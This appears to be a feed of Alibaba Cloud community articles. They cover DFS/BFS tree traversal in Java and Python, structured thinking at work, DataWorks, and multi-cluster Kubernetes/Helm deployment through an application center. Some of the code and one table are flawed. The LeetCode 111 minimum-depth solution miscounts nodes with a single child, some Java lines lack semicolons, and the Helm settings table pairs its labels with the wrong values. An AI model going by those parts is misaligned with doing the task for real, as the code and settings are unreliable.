      2、上图中一条路已经走到底了(9是叶子节点,再无可遍历的节点),此时就从 9 回退到上一个节点 5,看下节点 5 是否还有除 9 以外的节点,没有继续回退到 2,2 也没有除 5 以外的节点,回退到 1,1 有除 2 以外的节点 3,所以从节点 3 开始进行深度优先遍历,如下
      image.png
      3、同理从 10 开始往上回溯到 6, 6 没有除 10 以外的子节点,再往上回溯,发现 3 有除 6 以外的子点 7,所以此时会遍历 7
      image.png
      3、从 7 往上回溯到 3, 1,发现 1 还有节点 4 未遍历,所以此时沿着 4, 8 进行遍历,这样就遍历完成了
      完整的节点的遍历顺序如下(节点上的的蓝色数字代表)
      image.png
      相信大家看到以上的遍历不难发现这就是树的前序遍历,实际上不管是前序遍历,还是中序遍历,亦或是后序遍历,都属于深度优先遍历。
      那么深度优先遍历该怎么实现呢,有递归和非递归两种表现形式,接下来我们以二叉树为例来看下如何分别用递归和非递归来实现深度优先遍历。
      1、递归实现
      递归实现比较简单,由于是前序遍历,所以我们依次遍历当前节点,左节点,右节点即可,对于左右节点来说,依次遍历它们的左右节点即可,依此不断递归下去,直到叶节点(递归终止条件),代码如下

      public class Solution {
          private static class Node {
              /**
               * 节点值
               */
              public int value;
              /**
               * 左节点
               */
              public Node left;
              /**
               * 右节点
               */
              public Node right;
              public Node(int value, Node left, Node right) {
                  this.value = value;
                  this.left = left;
                  this.right = right;
              }
          }
          public static void dfs(Node treeNode) {
              if (treeNode == null) {
                  return;
              }
              // 遍历节点
              process(treeNode)
              // 遍历左节点
              dfs(treeNode.left);
              // 遍历右节点
              dfs(treeNode.right);
          }
      }

      递归的表达性很好,也很容易理解,不过如果层级过深,很容易导致栈溢出。所以我们重点看下非递归实现
      2、非递归实现
      仔细观察深度优先遍历的特点,对二叉树来说,由于是先序遍历(先遍历当前节点,再遍历左节点,再遍历右节点),所以我们有如下思路

      1. 对于每个节点来说,先遍历当前节点,然后把右节点压栈,再压左节点(这样弹栈的时候会先拿到左节点遍历,符合深度优先遍历要求)
      2. 弹栈,拿到栈顶的节点,如果节点不为空,重复步骤 1, 如果为空,结束遍历。

      我们以以下二叉树为例来看下如何用栈来实现 DFS。
      image.png
      整体动图如下
      2.gif
      整体思路还是比较清晰的,使用栈来将要遍历的节点压栈,然后出栈后检查此节点是否还有未遍历的节点,有的话压栈,没有的话不断回溯(出栈),有了思路,不难写出如下用栈实现的二叉树的深度优先遍历代码:

      /**
       * 使用栈来实现 dfs
       * @param root
       */
      public static void dfsWithStack(Node root) {
          if (root == null) {
              return;
          }
          Stack<Node> stack = new Stack<>();
          // 先把根节点压栈
          stack.push(root);
          while (!stack.isEmpty()) {
              Node treeNode = stack.pop();
              // 遍历节点
              process(treeNode)
              // 先压右节点
              if (treeNode.right != null) {
                  stack.push(treeNode.right);
              }
              // 再压左节点
              if (treeNode.left != null) {
                  stack.push(treeNode.left);
              }
          }
      }

      可以看到用栈实现深度优先遍历其实代码也不复杂,而且也不用担心递归那样层级过深导致的栈溢出问题。

      广度优先遍历

      广度优先遍历,指的是从图的一个未遍历的节点出发,先遍历这个节点的相邻节点,再依次遍历每个相邻节点的相邻节点。
      上文所述树的广度优先遍历动图如下,每个节点的值即为它们的遍历顺序。所以广度优先遍历也叫层序遍历,先遍历第一层(节点 1),再遍历第二层(节点 2,3,4),第三层(5,6,7,8),第四层(9,10)。3.gif
      深度优先遍历用的是栈,而广度优先遍历要用队列来实现,我们以下图二叉树为例来看看如何用队列来实现广度优先遍历
      image.png
      动图如下
      4.gif
      相信看了以上动图,不难写出如下代码

      /**
       * 使用队列实现 bfs
       * @param root
       */
      private static void bfs(Node root) {
          if (root == null) {
              return;
          }
          Queue<Node> stack = new LinkedList<>();
          stack.add(root);
          while (!stack.isEmpty()) {
              Node node = stack.poll();
              System.out.println("value = " + node.value);
              Node left = node.left;
              if (left != null) {
                  stack.add(left);
              }
              Node right = node.right;
              if (right != null) {
                  stack.add(right);
              }
          }
      }

      三、习题演练

      接下来我们来看看在 leetcode 中出现的一些使用 DFS,BFS 来解题的题目:

      leetcode 104,111: 给定一个二叉树,找出其最大/最小深度。

      例如:给定二叉树 [3,9,20,null,null,15,7],

      3
         / 
        9  20
          /  
         15   7

      则它的最小深度  2,最大深度 3
      解题思路:这题比较简单,只不过是深度优先遍历的一种变形,只要递归求出左右子树的最大/最小深度即可,深度怎么求,每递归调用一次函数,深度加一。不难写出如下代码

      /**
       * leetcode 104: 求树的最大深度
       * @param node
       * @return
       */
      public static int getMaxDepth(Node node) {
          if (node == null) {
              return 0;
          }
          int leftDepth = getMaxDepth(node.left) + 1;
          int rightDepth = getMaxDepth(node.right) + 1;
          return Math.max(leftDepth, rightDepth);
      }
      /**
       * leetcode 111: 求树的最小深度
       * @param node
       * @return
       */
      public static int getMinDepth(Node node) {
          if (node == null) {
              return 0;
          }
          int leftDepth = getMinDepth(node.left) + 1;
          int rightDepth = getMinDepth(node.right) + 1;
          return Math.min(leftDepth, rightDepth);
      }

      leetcode 102: 给你一个二叉树,请你返回其按层序遍历得到的节点值。(即逐层地,从左到右访问所有节点)。示例,给定二叉树:[3,9,20,null,null,15,7]

      3
         / 
        9  20
          /  
         15   7

      返回其层次遍历结果:

      [
        [3],
        [9,20],
        [15,7]
      ]

      解题思路:显然这道题是广度优先遍历的变种,只需要在广度优先遍历的过程中,把每一层的节点都添加到同一个数组中即可,问题的关键在于遍历同一层节点前,必须事先算出同一层的节点个数有多少(即队列已有元素个数),因为 BFS 用的是队列来实现的,遍历过程中会不断把左右子节点入队,这一点切记!动图如下
      5.gif
      根据以上动图思路不难得出代码如下:
      Java 代码

      /**
       * leetcdoe 102: 二叉树的层序遍历, 使用 bfs
       * @param root
       */
      private static List<List<Integer>> bfsWithBinaryTreeLevelOrderTraversal(Node root) {
          if (root == null) {
              // 根节点为空,说明二叉树不存在,直接返回空数组
              return Arrays.asList();
          }
          // 最终的层序遍历结果
          List<List<Integer>> result = new ArrayList<>();
          Queue<Node> queue = new LinkedList<>();
          queue.offer(root);
          while (!queue.isEmpty()) {
              // 记录每一层
              List<Integer> level = new ArrayList<>();
              int levelNum = queue.size();
              // 遍历当前层的节点
              for (int i = 0; i < levelNum; i++) {
                  Node node = queue.poll();
                  // 队首节点的左右子节点入队,由于 levelNum 是在入队前算的,所以入队的左右节点并不会在当前层被遍历到
                  if (node.left != null) {
                      queue.add(node.left);
                  }
                  if (node.right != null) {
                      queue.add(node.right);
                  }
                  level.add(node.value);
              }
              result.add(level);
          }
          return result;
      }

      Python 代码:

      class Solution:
          def levelOrder(self, root):
              """
              :type root: TreeNode
              :rtype: List[List[int]]
              """
              res = []  #嵌套列表,保存最终结果
              if root is None:
                  return res
              
              from collections import deque
              que = deque([root])  #队列,保存待处理的节点
              while len(que)!=0:
                  lev = []  #列表,保存该层的节点的值
                  thislevel = len(que)  #该层节点个数
                  while thislevel!=0:
                      head = que.popleft()  #弹出队首节点
                      #队首节点的左右孩子入队
                      if head.left is not None:
                          que.append(head.left)
                      if head.right is not None:
                          que.append(head.right)
                      lev.append(head.val)  #队首节点的值压入本层
                      thislevel-=1
                  res.append(lev)
              return res

      这题用 BFS 是显而易见的,但其实也可以用 DFS, 如果在面试中能用 DFS 来处理,会是一个比较大的亮点。
      用 DFS 怎么处理呢,我们知道, DFS 可以用递归来实现,其实只要在递归函数上加上一个「层」的变量即可,只要节点属于这一层,则把这个节点放入相当层的数组里,代码如下:

      private static final List<List<Integer>> TRAVERSAL_LIST  = new ArrayList<>();
      /**
       * leetcdoe 102: 二叉树的层序遍历, 使用 dfs
       * @param root
       * @return
       */
      private static void dfs(Node root, int level) {
          if (root == null) {
              return;
          }
          if (TRAVERSAL_LIST.size() < level + 1) {
              TRAVERSAL_LIST.add(new ArrayList<>());
          }
          List<Integer> levelList = TRAVERSAL_LIST.get(level);
          levelList.add(root.value);
          // 遍历左结点
          dfs(root.left, level + 1);
          // 遍历右结点
          dfs(root.right, level + 1);
      }

      四、DFS,BFS 在搜索引擎中的应用

      我们几乎每天都在 Google, Baidu 这些搜索引擎,那大家知道这些搜索引擎是怎么工作的吗,简单来说有三步
      1、网页抓取
      搜索引擎通过爬虫将网页爬取,获得页面 HTML 代码存入数据库中
      2、预处理
      索引程序对抓取来的页面数据进行文字提取,中文分词,(倒排)索引等处理,以备排名程序使用
      3、排名
      用户输入关键词后,排名程序调用索引数据库数据,计算相关性,然后按一定格式生成搜索结果页面。
      我们重点看下第一步,网页抓取。
      这一步的大致操作如下:给爬虫分配一组起始的网页,我们知道网页里其实也包含了很多超链接,爬虫爬取一个网页后,解析提取出这个网页里的所有超链接,再依次爬取出这些超链接,再提取网页超链接。。。,如此不断重复就能不断根据超链接提取网页。如下图示
      image.png
      如上所示,最终构成了一张图,于是问题就转化为了如何遍历这张图,显然可以用深度优先或广度优先的方式来遍历。
      如果是广度优先遍历,先依次爬取第一层的起始网页,再依次爬取每个网页里的超链接,如果是深度优先遍历,先爬取起始网页 1,再爬取此网页里的链接...,爬取完之后,再爬取起始网页 2...
      实际上爬虫是深度优先与广度优先两种策略一起用的,比如在起始网页里,有些网页比较重要(权重较高),那就先对这个网页做深度优先遍历,遍历完之后再对其他(权重一样的)起始网页做广度优先遍历。

      五、总结

      DFS 和 BFS 是非常重要的两种算法,大家一定要掌握,本文为了方便讲解,只对树做了 DFS,BFS,大家可以试试如果用图的话该怎么写代码,原理其实也是一样,只不过图和树两者的表示形式不同而已,DFS 一般是解决连通性问题,而 BFS 一般是解决最短路径问题,之后有机会我们会一起来学习下并查集,Dijkstra, Prism 算法等,敬请期待!

      来源 | 码海
      作者 | 码海

      ]]>
      阿里高级技术专家:如何结构化地思考、做事、成长?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 图片无法显
      点击图片或戳我查看详情和投简历
      1.png

      作者 | 承风 阿里巴巴高级前端技术专家

      导读:建立结构化的思维,以结构化的模式驱动工作,以结构化的体系构建自身的能力,小到写 PPT、大到为业务提供更大价值,都是非常值得我们使用的模式。阿里巴巴数字供应链事业部高级前端技术专家 - 承风,将会在本文中和大家分享他在建立和践行结构化思维过程中的方法论。

      引言

      在每年自评、汇报、工作中总会感受到一些结构化带来的问题:

      • 老板问我当前做的事情怎么样了,我讲了合作中的难点、视觉风格问题、业务情况、代码质量······工作的进展,说了半小时,老板还是 get 不到我做的事情的情况和价值,是老板不在意这件事、还是我语言表达能力不行?
      • 我这一年做了很多事情,都有一定产出,但是跳出细节来看,发现对业务、对团队价值都不大,是我做得不好、还是运气不好做的事情不好?
      • 最近流行 codeless,我打算研究下可视化搭建;团队业务涉及到流程编排,我打算研究下 TMF······一年下来折腾了不少成果出来,似乎老板也没有很认可,是我不讨老板喜欢还是做的事情没价值?

      这些问题,根据我自己工作经验的总结,认为大都是对结构化认知不足和践行不佳导致的。

      • 第一个问题:对事情的认知和表述结构化方面存在问题 - 结构化的思维相关问题;
      • 第二个问题:做事儿多而杂不成体系 - 结构化的工作模式问题;
      • 第三个问题:学习和成长缺乏重点 - 结构化的能力建设的问题。

      关于结构化

      Structured:建立中心(问题、目标)。以中心的核心要素对中心进行分解,形成分类子结构。以一定的范式、流程顺序进行分类子结构的合理分类、减少非关键分类结构;对关键分类子结构进行分析,寻找对策,制订行动计划。

      同理,逆向的顺序,对多种杂乱的内容,进行分类、剪枝、归纳汇总成一个中心。我认为也是结构化。

      有很多相关的书籍:

      领导者之剑:成功人士的 5 大突破思维技巧、金字塔原理、极简思考:来自世界顶尖咨询公司的高效工作法······

      也可以参看很多结构化的应用方式:结构化面试、结构化金融产品设计、结构化系统开发方法······从多行业多领域的使用可以反思和加深自己的认知。

      在工作中认知和践行结构化

      结构化的理论是简单清晰的(道的层面总是比较简洁),但实际应用中如何进行结构化、最有效的使用结构化却有很多经验(术的层面总是多变的)。在此结合我个人的经验给出一些建议:

      1. 建立中心

      当我们接手一个业务需求、面对一项挑战的时候,应当先思考这个需求的核心目标是干嘛的。

      1)结构化的建立中心

      思考的过程也是结构化的,我通常会分解为两个子结构进行:

      • 这个业务需求当前的目标是什么(事的维度):1. 目标是快速完成上线试一试业务效果:目标事的维度为高效稳定上线;2. 目标是建立后续业务铺开的基础方案:目标事的维度是强架构设计下的核心与功能拆分方案;
      • 为什么需要我来做(人的维度):1. 是因为我工作量还有 buffer 所有承担这部分:目标人的维度是完成职能范畴内的工作;2. 是因为我在这方面技术比较擅长:目标人的维度是利用事情强化自身能力和使用能力把事儿做好。

      2)沿中心上行

      对单个业务需求而言,从事、人两个维度建立起的中心即其核心,是最主要部分,建立一颗结构树的基础。但我们不应当停止于此,还应当向上推导:这个需求在整个业务的范畴内,是在哪一层次,哪一分类的。即应当更高层面、或整体业务和行业发展,对这方面业务是怎样的期许。(价值的维度)

      • 一个团队接手某项业务或需求,其背后都会有思考:我们是期望借着这个业务打造一个平台,提升整体行业的表现;还是突击这个业务方向,占领局部的商业蓝海······
      • 接到一个需求时一定要思考更大层面这事的价值,才能更好的判断优先级、做事模式。

      例如:我们做采购系统,当前需求是,提供采购单列表,按总价范畴搜索单据的能力。按结构化的中心建立,它是:高效稳定上线(事)、我职能范围内的工作(人)。

      • 如果止步于单个需求建立的中心,我们后续的分解应当是如何快速搞定、如何更稳定······
      • 如果我们继续向上构建树,我们可以和产品、使用者深度沟通下为什么要做价格搜索:1. 管理员期望能看到高价订单的情况。那么这个需求的上一个中心节点应当是:管理提效;2. 继续向上,是基于什么原因需要做管理提效?因为防止贪腐、提高工作效率。那么上一个中心节点应当是:降低成本;3. 依次向上,直到抵达整个业务的目标。比如总结觉得,我们的业务是构建一个集成高效的集团采购系统;
      • 再以此反思:1. 降低成本是不是当前工作的重点?团队是否有足够的架构设计和人员组织来支撑?2. 下一步到到管理提效层面,订单的搜索是否真的是当前最佳的提效工具,因为用户如何定义高价格?他执行这种搜索式查阅工作是否真的是有效不遗漏的?查阅到了订单有问题他能做什么?······我们会发现这个需求背后更多的问题。我们也可以沿着更大的中心树,去思考是否构建更好的方案可以更根本的解决这个问题;
         
      • 再回过头来看当前的任务,是否真的是高效稳定上线(事)、我职能范围内的工作(人)。或者当前最紧急的部分(用户直接需求嘛)是高效稳定上线(事)、我职能范围内的工作(人),但后续更要做更多的其他的根本性解决方案。

      2.png

      沿当前的中心向上建立更大的结构化的认知体系:

      • 会让我们对当前事情的判断(中心)更加清晰,也有更好的认知基础,极有利于与合作方的沟通碰撞和内容创新;
      • 建立更大结构化认知体系的过程,也是深入业务、扩展认知力的过程。一定要多和老板、业务方交流,从各自认知的差异性上提升自身的认知能力。

      此外,构建更大认知体系,对个人和团队发展也是有价值的。

      • 很多时候我们忙于业务实现,都没有花时间去思考业务的价值。一部分是因为忙,一部分是因为懒,一部分是因为不懂,一部分是因为我们是来做事拿工资的,而不是带着愿景想把事做好的。这都不是真正能把事情做好的方式;
      • 作为团队的一员,我们不应当只做“花时间、生鸡蛋”的极低人效、技术外包的母鸡模式,而应当积极的尝试做“建机器、铺厂房、出产品”的工厂模式。这对业务和个人的发展才是积极的作用。

      2. 中心的分解

      建立完成中心后,有多种对中心进行分解的方式。其目标在于将中心拆解为多个内聚的子部分。整体思想是 MECE(Mutually Exclusive Collectively Exhaustive)原则,即相互独立,完全穷尽不重叠、不遗漏的分类。够借此有效把握问题的核心,并成为有效解决问题的方法。

      下文是一些分解方案的简介。

      1)SWOT

      SWOT 分析方法又称态势分析法:即 Strengths(优势)、Weaknesses(劣势)、Opportunities(机会)、Threats(威胁)四类。最早用于进行企业竞争态势分析,对个人而言用于分析自身的竞争态势也是极佳的。

      3.png

      (对团队数据可视化能力建设的 SWOT 分析示例)

      SWOT 分析法四个象限可以分别分类四大独立的方面,而其中 SW 部分 - 优势劣势一般用于分析内部条件;OT 部分 - 机会威胁一般用于分析外部情况。又形成了两个独立而全覆盖的大类分隔。非常有助于看清楚当前的情况。

      此外,SWOT 形成的象限又可以结合跨大类进行组合分析:

      • SO 的关联部分,是我们做事的重点,重要紧急的。比如 Node + 可视化能力 =》我们可以构建基础平台;
      • WO 相关的部分,是我们必须解决的,很多情况下是我们需要进行专享突破式学习的内容。比如图形学 + 基础框架 =》如果我们要做基础框架这个机会,那么必须补全图形学相关知识;
      • WT 部分是威胁到这件事或者成长的部分,必须重视、避免、纠正。比如图形学 + 多公司发力基础框架 =》如果我们没有基础框架基础沉淀,又缺乏图形学相关学习目标或者相关引导,那么我们就应当放弃做基础框架;
      • ST 部分是我们直面竞争的部分,如何发挥自身优势去面对威胁,需要有相关的抓手。比如 Node + 成体系的 ISV =》ISV 肯定会在系统化建设上发力,我们必须使用 node 的基础能力提供更加灵活高效的解决方案。

      2)AHP

      AHP 分析方法又称层次分析法:Analytic Hierarchy Process,将与决策总是有关的元素分解成目标、准则、方案等层次,在此基础之上进行定性和定量分析的决策方法。它是一种定性 & 定量结合,系统化 & 层次化的分析方法。

      4.png

      第一层是目标,第二层是分解的准则,第三层是实施方案。构建 A1...A5 与目标相关权重,形成构造判断(成对比较)矩阵。对矩阵进行层次单排序及其一致性检验,再计算 B1....B3 层总排序权值和一致性检验,按照权重结果进行方案优先级的判断。更多详细计算内容可参考 MBALib。

      我们在实际使用中有两种方式:

      • 以层次建模的模式,对核心目标进行有效分解,即如果某一类分解,无法被赋予权重,则不是一个有效的分解;
      • 根据层次分析建模,对当前事情优先级进行决策,在实际应用中我们即便不去精确计算权重,至少按此结构看各个工作目标与分解的相关性,亦是一种指导。

      3)进行分解的顺序逻辑

      中心的分解应当使用流程化思维。指的是找出事情发生的内在逻辑,思考的时候可以逻辑顺序作为参考。

      • 时间顺序:中心执行的步骤、流程等;
      • 结构顺序:中心的空间、地理位置、内部外部条件等;
      • 程度顺序:中心的轻重缓急、重要性等;
      • ······

      以 XMind 为例:

      5.png

      (规划的时间顺序分解)

      6.png

      (按相关性进行结构顺序分解)
      7.png

      (按照重要性即与鱼头的距离进行程度结构分解)

      按照哪种顺序进行分解因个人爱好和事情的不同而不一致,没有优劣之分只有合适不合适。多加应用多做尝试不同模式,会不断提升自身思维和行为的逻辑性以更加结构化。

      3. 清理

      事业是无限的,人力总是有穷、认知高度总是不够的。我们不能把分析出的所有点都做好,也不是分解出的所有层次都真正有价值的。那么针对分解的产出物,应当以数据挖掘的物料准备类似的逻辑进行前期处理,来提高效率、去除噪声。常用的分别为:

      • 泛化:过度细碎的层次应当抽象总结到更高层次,以进行更有效分类;
      • 补漏:针对中心,某些关键决策子层级缺失,应当补充完全;
      • 剪枝:针对中心,与中心紧密度关联较低或无可操作性的部分应当去除,以降低整体分析复杂度。

      1)泛化

      例如我们要提高部门的研发效率,日常工作收集了一些反馈:开发环境不稳定天天抢日常部署,jar 包冲突屡禁不止,经常有人 push origin -f,前后端联调确定字段巨麻烦,对当前业务 webx 用起来不够顺手迅速······

      这些问题都可以归纳到“研发效率提升要解决的点”这个分支下,但细碎的陈列让对问题的解决显得没有重点,后续遇到其他问题也没办法进行有效的区分。

      泛化一般是这样的模式:我们有一些用户年龄,分布为 10、14、35、42、55、72 岁。可以抽象成年龄分层 - 青少年(10、14)、中年(35、42)、老年(55、72),降低数据量提高内聚性。

      针对上面的研发效率问题,我们可以按照研发工作的主要方面,泛化相关的问题:对当前业务 webx 用起来不够顺手迅速(研发架构);抢日常部署、前后端联调(研发环境)、jar 包冲突、强制提交(研发态度)。

      在结构化中,不是越深、越细的结构是越好的,很多时候越内聚抽象的结构反而更有利于进行后续实操改进工作的开展。

      2)补漏

      例如我们要提升前端研发效能。通过调研、学习和思考,认为需要进行几方面的结构化建设:

      • 高效的研发环境:极佳的研发工具、稳定的研发环境、可测试和追述的代码表现、可测试和追述的代码表现······
      • 平台技术驱动研发:核心能力不断沉淀、非核心能力能无侵入的快速定制······
      • 合理的团队人员结构······

      进行结构化的梳理可以更清晰的看出针对目标,哪些部分是我们缺失的。因而针对缺失部分的重要性和紧迫程度,可以更合理的安排工作,而非一味的在较强的部分进行优化、或者各种事情东打一枪西放一炮。

      同理,对个人技术成长而言,整理针对当前行业发展下当前技术环境下个人能力的要求点,进行结构化分层和缺失标注,也是指明自身学习方向的好手段。

      3)剪枝

      在我们进行中心的层层分解时,我们即便做到了归类,也总会生产一些特别发散的点。针对这些点,我们应当进行非关键分类结构的减少,即剪枝过程。

      8.png

      通常需要进行剪枝的部分:

      • 是和其余结构关联不大的部分
      • 针对当前核心问题是非主要相关的部分
      • 兼顾该部分的成本比产出的效果更大

      例如我们要通关只狼,一个牛逼的手柄花费的代价,和其对核心目标的提升是不对等的。如果要兼顾该子结构,可能对自己身体和心理造成更大的负影响,放弃是明智的选择。

      我们在安排自身的学习成长也是类似的,是否需要报个昂贵的视频课程,是否需要深入研究 TMF 源代码,都应当看对当前自身的学习目标的结合度、性价比来做决策,是去是留。

      结构化中,要果断剪枝,保持专注、保持可行性。

      小结

      结构化是一个非常简洁的理论:

      建立中心;
      以中心的核心要素对中心进行分解,形成分类子结构;
      以一定的范式、流程顺序进行分类子结构的合理分类、减少非关键分类结构;
      对关键分类子结构进行分析,寻找对策,制订行动计划。

      我们在思考、做事、成长时应当随时使用,对于梳理复杂问题、进行决策支撑都有很大好处。

      最后回答下最开始的问题:

      • 老板问我当前做的事情怎么样了,我讲了合作中的难点、视觉风格问题、业务情况、代码质量······工作的进展,说了半小时,老板还是 get 不到我做的事情的情况和价值:按照事情核心目标的达成情况,各子部分重点问题和解进行结构化的讲述,两分钟说清楚;
      • 我这一年做了很多事情,都有一定产出,但是跳出细节来看,发现对业务、对团队价值都不大:先建立团队当前业务的核心目标,分解目标达成所需的各个部分,自身努力在某个部分上做深,或者补全当前缺少的部分,或者强力推进将团队目标向上拔高一层更大的目标。
      • 最近流行 codeless,我打算研究下可视化搭建;团队业务涉及到流程编排,我打算研究下 TMF······一年下来折腾了不少成果出来,老板却不提名我晋升:先确定自身技术能力提升的目标,分解到需要提升的各个部分,针对不同部分向老板强求从事相关工作、在当前工作内尝试和深耕,从深入一个部分到横切一个面的能力提升,晋升自然水到渠成。

      课程推荐

      为了更多开发者能够享受到 Serverless 带来的红利,这一次,我们集结了 10+ 位阿里巴巴 Serverless 领域技术专家,打造出最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

      点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      DataWorks数据处理全流程技术站点地图-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一图读懂

      基于阿里DataWorks产品实现数据中台数据处理的技术要点梳理。
      基于阿里DataWorks数据处理技术站点地图.png

      主线流程

      1.数据集成

      数据源的多种类型以及数据源管理。

      2.数据交换

      数据交换管理管理和调度管理。

      3.数据开发

      需要实现的核心功能,包含数据处理规则和处理时机。
      在进行数据处理过程中,需要使用的Dataworks产品功能包含数据地图,数据质量,数据保护伞,数据分析等功能。

      4.数据应用

      数据处理结果对外进行数据交换,生成数据API服务以及使用阿里的数据展现工具quickBI和datav进行数据展示。

      ]]>
      应用中心最佳实践之 -- Git数据源发布实战 Fri, 02 May 2025 09:39:04 +0800 应用中心最佳实践之 -- Git数据源发布实战

      适用场景

      • 希望使用应用中心
      • 有自己git仓库(包括github,bitbucket,自己搭建的gitlab)
      • 部署模板托管在git

      前置资源准备

      应用中心手动部署托管在Git上的Kubernetes 模板

      这里我们使用此模板作为样例,本模板包含一个Ingress+Service+Deployment,对外通过Ingress提供服务。部署模板的全量链接在此https://github.com/xianlubird/argocd-example-apps/blob/master/ingress-demo/deploy.yaml

      创建应用

      创建应用的所有参数如下所示,这里的部署策略选择手动。
      Git仓库地址需要输入https或者git协议的地址,结尾需要以.git结尾,与git clone 命令需要的地址相同。这里的Git版本就是指branch或者tag,路径指的是存放部署模板的文件夹名称,这里要求部署模板必须存放在文件夹内。
      目标集群默认的In-Cluster 指的就是部署应用中心控制器的本集群,选择后显示的https://kubernetes.default.svc指的为本集群的ApiServer 地址,因为是本集群内部连接,所以使用的是内部Service 名称。命名空间就是希望这个应用安装到哪个命名空间,这里要求必须指定一个存在的命名空间内。
      image.png


      image.png


      部署应用

      创建应用完毕后,我们就可以看到应用的全量拓扑结构,如下图所示:
      image.png

      这里的黄色的小标识OutOfSync代表的意思是,当前模板描述的资源和Kubernetes集群内的实际情况不一致,也就是说,目前的应用模板并没有部署到集群中,下面我们点击右上角的部署按钮,将应用部署到集群中。


      稍等片刻应用就会部署完毕,整个部署过程会实时的展现在用户面前,最终的部署样式如图所示。这里最下方的状态显示为Healthy 和Synced,表示当前模板已经部署到Kubernetes 集群中,且已经符合部署模板的期望状态。
      image.png

      除了查看整个应用的部署拓扑外,我们还可以查看应用的流量结构,点击右上角的图标就可以观察这个应用的流量拓扑情况。
      image.png

      更新应用

      下面我们来演示一下如何更新应用,首先我们在github上更新一下应用模板,将镜像的tag由blue改为green,如这个commit 为例 https://github.com/xianlubird/argocd-example-apps/commit/dbc1296d20b2a92f0fc4826af2448b452d4a40ca。更新完毕后,我们回到应用中心页面,点击刷新按钮,可以看到如下的图片:
      image.png

      这里的OutOfSync就是表明,部署模板已经发生了变化,但是Kubernetes集群内的资源和git上托管的模板不一致,如果想查看具体的版本差异,可以点击版本差异按钮,查看具体的不同点。
      image.png

      这里就有详细的对比,展示当前git上的变更与Kubernetes集群内实际应用资源之间的关系。下面我们就可以部署这个更新。
      image.png

      可以看到部署模板里面,应用中心识别了只有Deployment 发生了变化,我们点击部署就可以完成应用的更新。更新完毕后,可以看到镜像已经变成了我们指定的green
      image.png

      回滚应用

      首先我们查看一下当前发布版本的历史记录,通过点击历史版本就可以看到。
      image.png

      这里会根据git commit和git 提交信息来描述每个版本的具体情况,我们可以选取任何一个版本进行回滚,比如这里我们选取第一个版本进行回滚。


      image.png



      回滚过程中,可以刷新查看具体的情况,回滚完毕后,可以看到镜像已经回到了blue,但是整个应用的状态是OutOfSync,这个是因为和git里面存放的部署模板不一致导致的。


      image.png


      应用中心自动部署托管在Git上的Kubernetes模板

      前面我们介绍了手动的部署应用,每次更新完毕git后,手动的触发应用的更新。下面我们来介绍另一种方式,可以自动化的更新应用。

      创建自动更新的应用

      创建应用与前面的手动更新的应用区别不大,主要就是更新方式的选择,只需要部署策略选择为自动就可以了,其他参数和前面的手动更新应用是一致的。
      这里的修整资源和自我修复我们可以不选择,具体的介绍如下。
      image.png

      创建完毕和上面的应用是相同的,下面我们来看一下更新的操作。

      自动更新应用

      首先我们还是需要去git上更新一下应用,这里我们将green更新为blue,如这个commit 一致 https://github.com/xianlubird/argocd-example-apps/commit/bfaa85784835281e7e30e4d0e88ab7cd9ff5c4b2。更新完毕后,稍等一会,大约1min,刷新一下应用就会发现,应用已经被自动更新,新的镜像为blue,同时发布记录也已经生成,一切都是自动的,不需要用户手动介入任何事情,只要把模板提交上去,就可以完成自动化的发布,同时发布记录也会记录在册。


      image.png


      image.png

      ]]>
      应用中心最佳实践之 -- 多集群多参数发布实战 Fri, 02 May 2025 09:39:04 +0800 应用中心最佳实践之 -- 多集群多参数发布实战

      如果一个用户账号下有多个集群的情况,希望将一个应用同时发布到多个集群里面,并且不同集群环境有不同的参数,这里就可以使用应用中心的多集群发布功能。

      添加多个集群

      首先需要在应用中心 -> 配置 -> 集群页面里面,将需要发布的集群添加到应用中心内。这里添加的集群需要kubeconfig,系统会自动读取Kubernetes的配置。我们这里一共添加了三个集群,第一个是本集群,另外的一个是呼和浩特区域的集群,还有一个是上海区域的集群。


      image.png

      为每个集群创建对应的应用

      由于每个应用只能对应一个集群,所以我们需要给每个集群创建对应的集群,这里我们后期会提供一键创建多个集群的功能。


      image.png



      下面可以试用右上角的部署所有应用功能,一键部署此应用到多个环境中。
      image.png





      可以看到,如下图所示,两个应用都已经部署完毕。后面如果在git上更新应用,这两个应用都会
      image.png

      ]]>
      应用中心最佳实践之—— Helm编排应用的多集群部署实战 Fri, 02 May 2025 09:39:04 +0800 如果一个用户账号下有多个集群的情况,希望将一个应用同时发布到多个集群里面,并且不同集群环境有不同的参数,这里就可以使用应用中心的多集群发布功能。

      添加多个目标集群

      应用中心 -> 配置 -> 集群,将需要发布的集群添加到应用中心内。这里添加的集群需要kubeconfig,系统会自动读取Kubernetes的配置。我们这里一共添加了三个集群,第一个是本集群,另外的一个是北京区域的集群,还有一个是香港区域的集群。
      1592817023181-7bf39d68-f556-4464-9ef1-829cd2439212.png

      添加示例git repo

      示例git repo地址: https://github.com/haoshuwei/appcenter-samples.git
      编排模板路径:examples/demo-helm
      1.png
      1.png

      应用中心 -> 配置 -> 仓库 -> 连接Repo

      创建应用demo-helm-pre和demo-helm-pro
      demo-helm-pre应用部署至目标集群ack-pre-beijing并指定使用values.yaml文件进行参数渲染
      1.png

      demo-helm-pro应用部署至目标集群ack-pre-hk并指定使用values-pro.yaml文件进行参数渲染
      1.png

      以下为2个应用创建参数配置对比

      通用-应用名称 demo-helm-pre demo-helm-pro
      通用-部署策略 手动 手动
      源-类型 Git Git
      源-版本 https://github.com/haoshuwei/appcenter-samples.git https://github.com/haoshuwei/appcenter-samples.git
      源-路径 master master
      目标集群-集群 examples/demo-helm examples/demo-helm
      目标集群-命名空间 ack-pre-beijing ack-pro-hk
      源-仓库地址 demo-helm demo-helm
      Helm-VALUES values.yaml values-pro.yaml

      一键部署应用到多个集群

      应用中心 -> 应用 -> 部署所有应用
      1.png

      勾选需要部署的demo-helm-pre和demo-helm-pro 2个应用并点击部署
      1.png

      应用部署成功
      1.png

      ]]>
      应用中心最佳实践之 —— Template数据源发布实战 Fri, 02 May 2025 09:39:04 +0800 适用场景

      • 希望使用应用中心
      • 由于安全合规等问题无法将应用部署模板托管在git仓库中

      前置资源准备

